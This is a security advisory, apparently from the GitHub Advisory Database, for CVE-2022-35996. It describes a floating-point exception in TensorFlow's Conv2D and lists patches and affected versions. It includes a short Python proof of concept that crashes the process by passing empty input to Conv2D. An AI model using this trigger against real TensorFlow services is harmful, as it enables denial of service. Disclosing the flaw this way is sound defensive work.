TensorFlow vulnerable to floating point exception in `Conv2D`
Impact
If Conv2D is given empty input and the filter and padding sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack.
import tensorflow as tf
import numpy as np
with tf.device("CPU"): # also can be triggerred on GPU
input = np.ones([1, 0, 2, 1])
filter = np.ones([1, 1, 1, 1])
strides = ([1, 1, 1, 1])
padding = "EXPLICIT"
explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0]
data_format = "NHWC"
res = tf.raw_ops.Conv2D(
input=input,
filter=filter,
strides=strides,
padding=padding,
explicit_paddings=explicit_paddings,
data_format=data_format,
)
Patches
We have patched the issue in GitHub commit 611d80db29dd7b0cfb755772c69d60ae5bca05f9.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
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Attribution
This vulnerability has been reported by Jingyi Shi.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-cpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-gpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-q5jv-m6qw-5g37
- https://nvd.nist.gov/vuln/detail/CVE-2022-35996
- https://github.com/tensorflow/tensorflow/commit/611d80db29dd7b0cfb755772c69d60ae5bca05f9
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
- https://pypi.org/project/tensorflow-gpu
- https://github.com/advisories/GHSA-q5jv-m6qw-5g37
- https://pypi.org/project/tensorflow
- https://pypi.org/project/tensorflow-cpu
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-369- Platform
- Python (PyPI)
- Package
tensorflow, tensorflow-cpu, tensorflow-gpu- Disclosed
- 16.09.2022
- Updated
- 11.10.2026 14:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1029 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3228 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-q5jv-m6qw-5g37 - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3361 - PyPA Advisory Database; CC BY 4.0
Vulnerability history: tensorflow
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 433
- First → latest
- 04.2019 07.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 6
- High 112
- Medium 210
- Low 105
Disclosures per year
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 169
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
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